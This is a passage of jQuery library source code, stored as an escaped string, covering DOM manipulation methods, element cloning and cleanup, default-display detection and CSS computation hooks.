&&\n\t\t\t\t!jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2\n\t\t\tdestElements = getAll( clone );\n\t\t\tsrcElements = getAll( elem );\n\n\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\tfixInput( srcElements[ i ], destElements[ i ] );\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = srcElements || getAll( elem );\n\t\t\t\tdestElements = destElements || getAll( clone );\n\n\t\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\t\tcloneCopyEvent( srcElements[ i ], destElements[ i ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcloneCopyEvent( elem, clone );\n\t\t\t}\n\t\t}\n\n\t\t// Preserve script evaluation history\n\t\tdestElements = getAll( clone, \"script\" );\n\t\tif ( destElements.length > 0 ) {\n\t\t\tsetGlobalEval( destElements, !inPage && getAll( elem, \"script\" ) );\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tvar data, elem, type,\n\t\t\tspecial = jQuery.event.special,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {\n\t\t\tif ( acceptData( elem ) ) {\n\t\t\t\tif ( ( data = elem[ dataPriv.expando ] ) ) {\n\t\t\t\t\tif ( data.events ) {\n\t\t\t\t\t\tfor ( type in data.events ) {\n\t\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Support: Chrome <= 35-45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataPriv.expando ] = undefined;\n\t\t\t\t}\n\t\t\t\tif ( elem[ dataUser.expando ] ) {\n\n\t\t\t\t\t// Support: Chrome <= 35-45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataUser.expando ] = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n} );\n\njQuery.fn.extend( {\n\n\t// Keep domManip exposed until 3.0 (gh-2225)\n\tdomManip: domManip,\n\n\tdetach: function( selector ) {\n\t\treturn remove( this, selector, true );\n\t},\n\n\tremove: function( selector ) {\n\t\treturn remove( this, selector );\n\t},\n\n\ttext: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\treturn value === undefined ?\n\t\t\t\tjQuery.text( this ) :\n\t\t\t\tthis.empty().each( function() {\n\t\t\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\t\t\tthis.textContent = value;\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t}, null, value, arguments.length );\n\t},\n\n\tappend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.appendChild( elem );\n\t\t\t}\n\t\t} );\n\t},\n\n\tprepend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.insertBefore( elem, target.firstChild );\n\t\t\t}\n\t\t} );\n\t},\n\n\tbefore: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t}\n\t\t} );\n\t},\n\n\tafter: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t}\n\t\t} );\n\t},\n\n\tempty: function() {\n\t\tvar elem,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = this[ i ] ) != null; i++ ) {\n\t\t\tif ( elem.nodeType === 1 ) {\n\n\t\t\t\t// Prevent memory leaks\n\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\n\t\t\t\t// Remove any remaining nodes\n\t\t\t\telem.textContent = \"\";\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n\t\treturn this.map( function() {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t} );\n\t},\n\n\thtml: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\tvar elem = this[ 0 ] || {},\n\t\t\t\ti = 0,\n\t\t\t\tl = this.length;\n\n\t\t\tif ( value === undefined && elem.nodeType === 1 ) {\n\t\t\t\treturn elem.innerHTML;\n\t\t\t}\n\n\t\t\t// See if we can take a shortcut and just use innerHTML\n\t\t\tif ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n\t\t\t\t!wrapMap[ ( rtagName.exec( value ) || [ \"\", \"\" ] )[ 1 ].toLowerCase() ] ) {\n\n\t\t\t\tvalue = jQuery.htmlPrefilter( value );\n\n\t\t\t\ttry {\n\t\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\t\telem = this[ i ] || {};\n\n\t\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\t\t\t\t\t\t\telem.innerHTML = value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\telem = 0;\n\n\t\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t\t} catch ( e ) {}\n\t\t\t}\n\n\t\t\tif ( elem ) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\t\t}, null, value, arguments.length );\n\t},\n\n\treplaceWith: function() {\n\t\tvar ignored = [];\n\n\t\t// Make the changes, replacing each non-ignored context element with the new content\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tvar parent = this.parentNode;\n\n\t\t\tif ( jQuery.inArray( this, ignored ) < 0 ) {\n\t\t\t\tjQuery.cleanData( getAll( this ) );\n\t\t\t\tif ( parent ) {\n\t\t\t\t\tparent.replaceChild( elem, this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Force callback invocation\n\t\t}, ignored );\n\t}\n} );\n\njQuery.each( {\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar elems,\n\t\t\tret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tlast = insert.length - 1,\n\t\t\ti = 0;\n\n\t\tfor ( ; i <= last; i++ ) {\n\t\t\telems = i === last ? this : this.clone( true );\n\t\t\tjQuery( insert[ i ] )[ original ]( elems );\n\n\t\t\t// Support: QtWebKit\n\t\t\t// .get() because push.apply(_, arraylike) throws\n\t\t\tpush.apply( ret, elems.get() );\n\t\t}\n\n\t\treturn this.pushStack( ret );\n\t};\n} );\n\n\nvar iframe,\n\telemdisplay = {\n\n\t\t// Support: Firefox\n\t\t// We have to pre-define these values for FF (#10227)\n\t\tHTML: \"block\",\n\t\tBODY: \"block\"\n\t};\n\n/**\n * Retrieve the actual display of a element\n * @param {String} name nodeName of the element\n * @param {Object} doc Document object\n */\n\n// Called only from within defaultDisplay\nfunction actualDisplay( name, doc ) {\n\tvar elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),\n\n\t\tdisplay = jQuery.css( elem[ 0 ], \"display\" );\n\n\t// We don't have any data stored on the element,\n\t// so use \"detach\" method as fast way to get rid of the element\n\telem.detach();\n\n\treturn display;\n}\n\n/**\n * Try to determine the default display value of an element\n * @param {String} nodeName\n */\nfunction defaultDisplay( nodeName ) {\n\tvar doc = document,\n\t\tdisplay = elemdisplay[ nodeName ];\n\n\tif ( !display ) {\n\t\tdisplay = actualDisplay( nodeName, doc );\n\n\t\t// If the simple way fails, read from inside an iframe\n\t\tif ( display === \"none\" || !display ) {\n\n\t\t\t// Use the already-created iframe if possible\n\t\t\tiframe = ( iframe || jQuery( \"<iframe frameborder='0' width='0' height='0'/>\" ) )\n\t\t\t\t.appendTo( doc.documentElement );\n\n\t\t\t// Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse\n\t\t\tdoc = iframe[ 0 ].contentDocument;\n\n\t\t\t// Support: IE\n\t\t\tdoc.write();\n\t\t\tdoc.close();\n\n\t\t\tdisplay = actualDisplay( nodeName, doc );\n\t\t\tiframe.detach();\n\t\t}\n\n\t\t// Store the correct default display\n\t\telemdisplay[ nodeName ] = display;\n\t}\n\n\treturn display;\n}\nvar rmargin = ( /^margin/ );\n\nvar rnumnonpx = new RegExp( \"^(\" + pnum + \")(?!px)[a-z%]+$\", \"i\" );\n\nvar getStyles = function( elem ) {\n\n\t\t// Support: IE<=11+, Firefox<=30+ (#15098, #14150)\n\t\t// IE throws on elements created in popups\n\t\t// FF meanwhile throws on frame elements through \"defaultView.getComputedStyle\"\n\t\tvar view = elem.ownerDocument.defaultView;\n\n\t\tif ( !view.opener ) {\n\t\t\tview = window;\n\t\t}\n\n\t\treturn view.getComputedStyle( elem );\n\t};\n\nvar swap = function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n};\n\n\nvar documentElement = document.documentElement;\n\n\n\n( function() {\n\tvar pixelPositionVal, boxSizingReliableVal, pixelMarginRightVal, reliableMarginLeftVal,\n\t\tcontainer = document.createElement( \"div\" ),\n\t\tdiv = document.createElement( \"div\" );\n\n\t// Finish early in limited (non-browser) environments\n\tif ( !div.style ) {\n\t\treturn;\n\t}\n\n\t// Support: IE9-11+\n\t// Style of cloned element affects source element cloned (#8908)\n\tdiv.style.backgroundClip = \"content-box\";\n\tdiv.cloneNode( true ).style.backgroundClip = \"\";\n\tsupport.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n\tcontainer.style.cssText = \"border:0;width:8px;height:0;top:0;left:-9999px;\" +\n\t\t\"padding:0;margin-top:1px;position:absolute\";\n\tcontainer.appendChild( div );\n\n\t// Executing both pixelPosition & boxSizingReliable tests require only one layout\n\t// so they're executed at the same time to save the second computation.\n\tfunction computeStyleTests() {\n\t\tdiv.style.cssText =\n\n\t\t\t// Support: Firefox<29, Android 2.3\n\t\t\t// Vendor-prefix box-sizing\n\t\t\t\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;\" +\n\t\t\t\"position:relative;display:block;\" +\n\t\t\t\"margin:auto;border:1px;padding:1px;\" +\n\t\t\t\"top:1%;width:50%\";\n\t\tdiv.innerHTML = \"\";\n\t\tdocumentElement.appendChild( container );\n\n\t\tvar divStyle = window.getComputedStyle( div );\n\t\tpixelPositionVal = divStyle.top !== \"1%\";\n\t\treliableMarginLeftVal = divStyle.marginLeft === \"2px\";\n\t\tboxSizingReliableVal = divStyle.width === \"4px\";\n\n\t\t// Support: Android 4.0 - 4.3 only\n\t\t// Some styles come back with percentage values, even though they shouldn't\n\t\tdiv.style.marginRight = \"50%\";\n\t\tpixelMarginRightVal = divStyle.marginRight === \"4px\";\n\n\t\tdocumentElement.removeChild( container );\n\t}\n\n\tjQuery.extend( support, {\n\t\tpixelPosition: function() {\n\n\t\t\t// This test is executed only once but we still do memoizing\n\t\t\t// since we can use the boxSizingReliable pre-computing.\n\t\t\t// No need to check if the test was already performed, though.\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelPositionVal;\n\t\t},\n\t\tboxSizingReliable: function() {\n\t\t\tif ( boxSizingReliableVal == null ) {\n\t\t\t\tcomputeStyleTests();\n\t\t\t}\n\t\t\treturn boxSizingReliableVal;\n\t\t},\n\t\tpixelMarginRight: function() {\n\n\t\t\t// Support: Android 4.0-4.3\n\t\t\t// We're checking for boxSizingReliableVal here instead of pixelMarginRightVal\n\t\t\t// since that compresses better and they're computed together anyway.\n\t\t\tif ( boxSizingReliableVal == null ) {\n\t\t\t\tcomputeStyleTests();\n\t\t\t}\n\t\t\treturn pixelMarginRightVal;\n\t\t},\n\t\treliableMarginLeft: function() {\n\n\t\t\t// Support: IE <=8 only, Android 4.0 - 4.3 only, Firefox <=3 - 37\n\t\t\tif ( boxSizingReliableVal == null ) {\n\t\t\t\tcomputeStyleTests();\n\t\t\t}\n\t\t\treturn reliableMarginLeftVal;\n\t\t},\n\t\treliableMarginRight: function() {\n\n\t\t\t// Support: Android 2.3\n\t\t\t// Check if div with explicit width and no margin-right incorrectly\n\t\t\t// gets computed margin-right based on width of container. (#3333)\n\t\t\t// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right\n\t\t\t// This support function is only executed once so no memoizing is needed.\n\t\t\tvar ret,\n\t\t\t\tmarginDiv = div.appendChild( document.createElement( \"div\" ) );\n\n\t\t\t// Reset CSS: box-sizing; display; margin; border; padding\n\t\t\tmarginDiv.style.cssText = div.style.cssText =\n\n\t\t\t\t// Support: Android 2.3\n\t\t\t\t// Vendor-prefix box-sizing\n\t\t\t\t\"-webkit-box-sizing:content-box;box-sizing:content-box;\" +\n\t\t\t\t\"display:block;margin:0;border:0;padding:0\";\n\t\t\tmarginDiv.style.marginRight = marginDiv.style.width = \"0\";\n\t\t\tdiv.style.width = \"1px\";\n\t\t\tdocumentElement.appendChild( container );\n\n\t\t\tret = !parseFloat( window.getComputedStyle( marginDiv ).marginRight );\n\n\t\t\tdocumentElement.removeChild( container );\n\t\t\tdiv.removeChild( marginDiv );\n\n\t\t\treturn ret;\n\t\t}\n\t} );\n} )();\n\n\nfunction curCSS( elem, name, computed ) {\n\tvar width, minWidth, maxWidth, ret,\n\t\tstyle = elem.style;\n\n\tcomputed = computed || getStyles( elem );\n\n\t// Support: IE9\n\t// getPropertyValue is only needed for .css('filter') (#12537)\n\tif ( computed ) {\n\t\tret = computed.getPropertyValue( name ) || computed[ name ];\n\n\t\tif ( ret === \"\" && !jQuery.contains( elem.ownerDocument, elem ) ) {\n\t\t\tret = jQuery.style( elem, name );\n\t\t}\n\n\t\t// A tribute to the \"awesome hack by Dean Edwards\"\n\t\t// Android Browser returns percentage for some values,\n\t\t// but width seems to be reliably pixels.\n\t\t// This is against the CSSOM draft spec:\n\t\t// http://dev.w3.org/csswg/cssom/#resolved-values\n\t\tif ( !support.pixelMarginRight() && rnumnonpx.test( ret ) && rmargin.test( name ) ) {\n\n\t\t\t// Remember the original values\n\t\t\twidth = style.width;\n\t\t\tminWidth = style.minWidth;\n\t\t\tmaxWidth = style.maxWidth;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tstyle.minWidth = style.maxWidth = style.width = ret;\n\t\t\tret = computed.width;\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.width = width;\n\t\t\tstyle.minWidth = minWidth;\n\t\t\tstyle.maxWidth = maxWidth;\n\t\t}\n\t}\n\n\treturn ret !== undefined ?\n\n\t\t// Support: IE9-11+\n\t\t// IE returns zIndex value as an integer.\n\t\tret + \"\" :\n\t\tret;\n}\n\n\nfunction addGetHookIf( conditionFn, hookFn ) {\n\n\t// Define the hook, we'll check on the first run if it's really needed.\n\treturn {\n\t\tget: function() {\n\t\t\tif ( conditionFn() ) {\n\n\t\t\t\t// Hook not needed (or it's not possible to use it due\n\t\t\t\t// to missing dependency), remove it.\n\t\t\t\tdelete this.get;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Hook needed; redefine it so that the support test is not executed again.\n\t\t\treturn ( this.get = hookFn ).apply( this, arguments );\n\t\t}\n\t};\n}\n\n\nvar\n\n\t// Swappable if display is none or starts with table\n\t// except \"table\", \"table-cell\", or \"table-caption\"\n\t// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display\n\trdisplayswap = /^(none|table(?!-c[ea]).+)/,\n\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\tcssNormalTransform = {\n\t\tletterSpacing: \"0\",\n\t\tfontWeight: \"400\"\n\t},\n\n\tcssPrefixes = [ \"Webkit\", \"O\", \"Moz\", \"ms\" ],\n\temptyStyle = document.createElement( \"div\" ).style;\n\n// Return a css property mapped to a potentially vendor prefixed property\nfunction vendorPropName( name ) {\n\n\t// Shortcut for names that are not vendor prefixed\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}\n\nfunction setPositiveNumber( elem, value, subtract ) {\n\n\t// Any relative (+/-) values have already been\n\t// normalized at this point\n\tvar matches = rcssNum.exec( value );\n\treturn matches ?\n\n\t\t// Guard against undefined \"subtract\", e.g., when used as in cssHooks\n\t\tMath.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || \"px\" ) :\n\t\tvalue;\n}\n\nfunction augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {\n\tvar i = extra === ( isBorderBox ? \"border\" : \"content\" ) ?\n\n\t\t// If we already have the right measurement, avoid augmentation\n\t\t4 :\n\n\t\t// Otherwise initialize for horizontal or vertical properties\n\t\tname === \"width\" ? 1 : 0,\n\n\t\tval = 0;\n\n\tfor ( ; i < 4; i += 2 ) {\n\n\t\t// Both box models exclude margin, so add it if we want it\n\t\tif ( extra === \"margin\" ) {\n\t\t\tval += jQuery.css( elem, extra + cssExpand[ i ], true, styles );\n\t\t}\n\n\t\tif ( isBorderBox ) {\n\n\t\t\t// border-box includes padding, so remove it if we want content\n\t\t\tif ( extra === \"content\" ) {\n\t\t\t\tval -= jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\t\t\t}\n\n\t\t\t// At this point, extra isn't border nor margin, so remove border\n\t\t\tif ( extra !== \"margin\" ) {\n\t\t\t\tval -= jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t} else {\n\n\t\t\t// At this point, extra isn't content, so add padding\n\t\t\tval += jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\n\t\t\t// At this point, extra isn't content nor padding, so add border\n\t\t\tif ( extra !== \"padding\" ) {\n\t\t\t\tval += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn val;\n}\n\nfunction getWidthOrHeight( elem, name, extra ) {\n\n\t// Start with offset property, which is equivalent to the border-box value\n\tvar valueIsBorderBox = true,\n\t\tval = name === \"width\" ? elem.offsetWidth : elem.offsetHeight,\n\t\tstyles = getStyles( elem ),\n\t\tisBorderBox = jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\";\n\n\t// Support: IE11 only\n\t// In IE 11 fullscreen elements inside of an iframe have\n\t// 100x too small dimensions (gh-1764).\n\tif ( document.msFullscreenElement && window.top !== window ) {\n\n\t\t// Support: IE11 only\n\t\t// Running getBoundingClientRect on a disconnected node\n\t\t// in IE throws an error.\n\t\tif ( elem.getClientRects().length ) {\n\t\t\tval = Math.round( elem.getBoundingClientRect()[ name ] * 100 );\n\t\t}\n\t}\n\n\t// Some non-html elements return undefined for offsetWidth, so check for null/undefined\n\t// svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285\n\t// MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668\n\tif ( val <= 0 || val == null ) {\n\n\t\t// Fall back to computed then uncomputed css if necessary\n\t\tval = curCSS( elem, name, styles );\n\t\tif ( val < 0 || val == null ) {\n\t\t\tval = elem.style[ name ];\n\t\t}\n\n\t\t// Computed unit is not pixels. Stop here and return.\n\t\tif ( rnumnonpx.test( val ) ) {\n\t\t\treturn val;\n\t\t}\n\n\t\t// Check for style in case a browser which returns unreliable values\n\t\t// for getComputedStyle silently falls back to the reliable elem.style\n\t\tvalueIsBorderBox = isBorderBox &&\n\t\t\t( support.boxSizingReliable() || val === elem.style[ name ] );\n\n\t\t// Normalize \"\", auto, and prepare for extra\n\t\tval = parseFloat( val ) || 0;\n\t}\n\n\t// Use the active box-sizing model to add/subtract irrelevant styles\n\treturn ( val +\n\t\taugmentWidthOrHeight(\n\t\t\telem,\n\t\t\tname,\n\t\t\textra || ( isBorderBox ? \"border\" : \"content\" ),\n\t\t\tvalueIsBorderBox,\n\t\t\tstyles\n\t\t)\n\t) + \"px\";\n}\n\nfunction showHide( elements, show ) {\n\tvar display, elem, hidden,\n\t\tvalues = [],\n\t\tindex = 0,\n\t\tlength = elements.length;\n\n\tfor ( ; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalues[ index ] = dataPriv.get( elem, \"olddisplay\" );\n\t\tdisplay = elem.style.display;\n\t\tif ( show ) {\n\n\t\t\t// Reset the inline display of this element to learn if it is\n\t\t\t// being hidden by cascaded rules or not\n\t\t\tif ( !values[ index ] && display === \"none\" ) {\n\t\t\t\telem.style.display = \"\";\n\t\t\t}\n\n\t\t\t// Set elements which have been overridden with display: none\n\t\t\t// in a stylesheet to whatever the default browser style is\n\t\t\t// for such an element\n\t\t\tif ( elem.style.display === \"\" && isHidden( elem ) ) {\n\t\t\t\tvalues[ index ] = dataPriv.access(\n\t\t\t\t\telem,\n\t\t\t\t\t\"olddisplay\",\n\t\t\t\t\tdefaultDisplay( elem.nodeName )\n\t\t\t\t);\n\t\t\t}\n\t\t} else {\n\t\t\thidden = isHidden( elem );\n\n\t\t\tif ( display !== \"none\" || !hidden ) {\n\t\t\t\tdataPriv.set(\n\t\t\t\t\telem,\n\t\t\t\t\t\"olddisplay\",\n\t\t\t\t\thidden ? display : jQuery.css( elem, \"display\" )\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\t// Set the display of most of the elements in a second loop\n\t// to avoid the constant reflow\n\tfor ( index = 0; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\t\tif ( !show || elem.style.display === \"none\" || elem.style.display === \"\" ) {\n\t\t\telem.style.display = show ? values[ index ] || \"\" : \"none\";\n\t\t}\n\t}\n\n\treturn elements;\n}\n\njQuery.extend( {\n\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Don't automatically add \"px\" to these possibly-unitless properties\n\tcssNumber: {\n\t\t\"animationIterationCount\": true,\n\t\t\"columnCount\": true,\n\t\t\"fillOpacity\": true,\n\t\t\"flexGrow\": true,\n\t\t\"flexShrink\": true,\n\t\t\"fontWeight\": true,\n\t\t\"lineHeight\": true,\n\t\t\"opacity\": true,\n\t\t\"order\": true,\n\t\t\"orphans\": true,\n\t\t\"widows\": true,\n\t\t\"zIndex\": true,\n\t\t\"zoom\": true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {\n\t\t\"float\": \"cssFloat\"\n\t},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, hooks,\n\t\t\torigName = jQuery.camelCase( name ),\n\t\t\tstyle = elem.style;\n\n\t\tname = jQuery.cssProps[ origName ] ||\n\t\t\t( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );\n\n\t\t// Gets hook for the prefixed version, then unprefixed version\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// Convert \"+=\" or \"-=\" to relative numbers (#7345)\n\t\t\tif ( type === \"string\" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {\n\t\t\t\tvalue = adjustCSS( elem, name, ret );\n\n\t\t\t\t// Fixes bug #9237\n\t\t\t\ttype = \"number\";\n\t\t\t}\n\n\t\t\t// Make sure that null and NaN values aren't set (#7116)\n\t\t\tif ( value == null || value !== value ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If a number was passed in, add the unit (except for certain CSS properties)\n\t\t\tif ( type === \"number\" ) {\n\t\t\t\tvalue += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? \"\" : \"px\" );\n\t\t\t}\n\n\t\t\t// Support: IE9-11+\n\t\t\t// background-* props affect original clone's values\n\t\t\tif ( !support.clearCloneStyle && value === \"\" && name.indexOf( \"background\" ) === 0 ) {\n\t\t\t\tstyle[ name ] = \"inherit\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !( \"set\" in hooks ) ||\n\t\t\t\t( value = hooks.set( elem, value, extra ) ) !== undefined ) {\n\n\t\t\t\tstyle[ name ] = value;\n\t\t\t}\n\n\t\t} else {\n\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks &&\n\t\t\t\t( ret = hooks.get( elem, false, extra ) ) !== undefined ) {\n\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra, styles ) {\n\t\tvar val, num, hooks,\n\t\t\torigName = jQuery.camelCase( name );\n\n\t\t// Make sure that we're working with the right name\n\t\tname = jQuery.cssProps[ origName ] ||\n\t\t\t( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName );\n\n\t\t// Try prefixed name followed by the unprefixed name\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks ) {\n\t\t\tval = hooks.get( elem, true, extra );\n\t\t}\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\tif ( val === undefined ) {\n\t\t\tval = curCSS( elem, name, styles );\n\t\t}\n\n\t\t// Convert \"normal\" to computed value\n\t\tif ( val === \"normal\" && name in cssNormalTransform ) {\n\t\t\tval = cssNormalTransform[ name ];\n\t\t}\n\n\t\t// Make numeric if forced or a qualifier was provided and val looks numeric\n\t\tif ( extra === \"\" || extra ) {\n\t\t\tnum = parseFloat( val );\n\t\t\treturn extra === true || isFinite( num ) ? num || 0 : val;\n\t\t}\n\t\treturn val;\n\t}\n} );\n\njQuery.each( [ \"height\", \"width\" ], function( i, name ) {\n\tjQuery.cssHooks[ name ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tif ( computed ) {\n\n\t\t\t\t// Certain elements can have dimension info if we invisibly show them\n\t\t\t\t// but it must have a current display style that would benefit\n\t\t\t\treturn rdisplayswap.test( jQuery.css( elem, \"display\" ) ) &&\n\t\t\t\t\telem.offsetWidth === 0 ?\n\t\t\t\t\t\tswap( elem, cssShow, function() {\n\t\t\t\t\t\t\treturn getWidthOrHeight( elem, name, extra );\n\t\t\t\t\t\t} ) :\n\t\t\t\t\t\tgetWidthOrHeight( elem, name, extra );\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value, extra ) {\n\t\t\tvar matches,\n\t\t\t\tstyles = extra && getStyles( elem ),\n\t\t\t\tsubtract = extra && augmentWidthOrHeight(\n\t\t\t\t\telem,\n\t\t\t\t\tname,\n\t\t\t\t\textra,\n\t\t\t\t\tjQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\t\t\t\tstyles\n\t\t\t\t);\n\n\t\t\t// Convert to pixels if value adjustment is needed\n\t\t\tif ( subtract && ( matches = rcssNum.exec( value ) ) &&\n\t\t\t\t( matches[ 3 ] || \"px\" ) !== \"px\" ) {\n\n\t\t\t\telem.style[ name ] = value;\n\t\t\t\tvalue = jQuery.css( elem, name );\n\t\t\t}\n\n\t\t\treturn setPositiveNumber( elem, value, subtract );\n\t\t}\n\t};\n} );\n\njQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,\n\tfunction( elem, computed ) {\n\t\tif ( computed ) {\n\t\t\treturn ( parseFloat( curCSS( elem, \"marginLeft\" ) ) 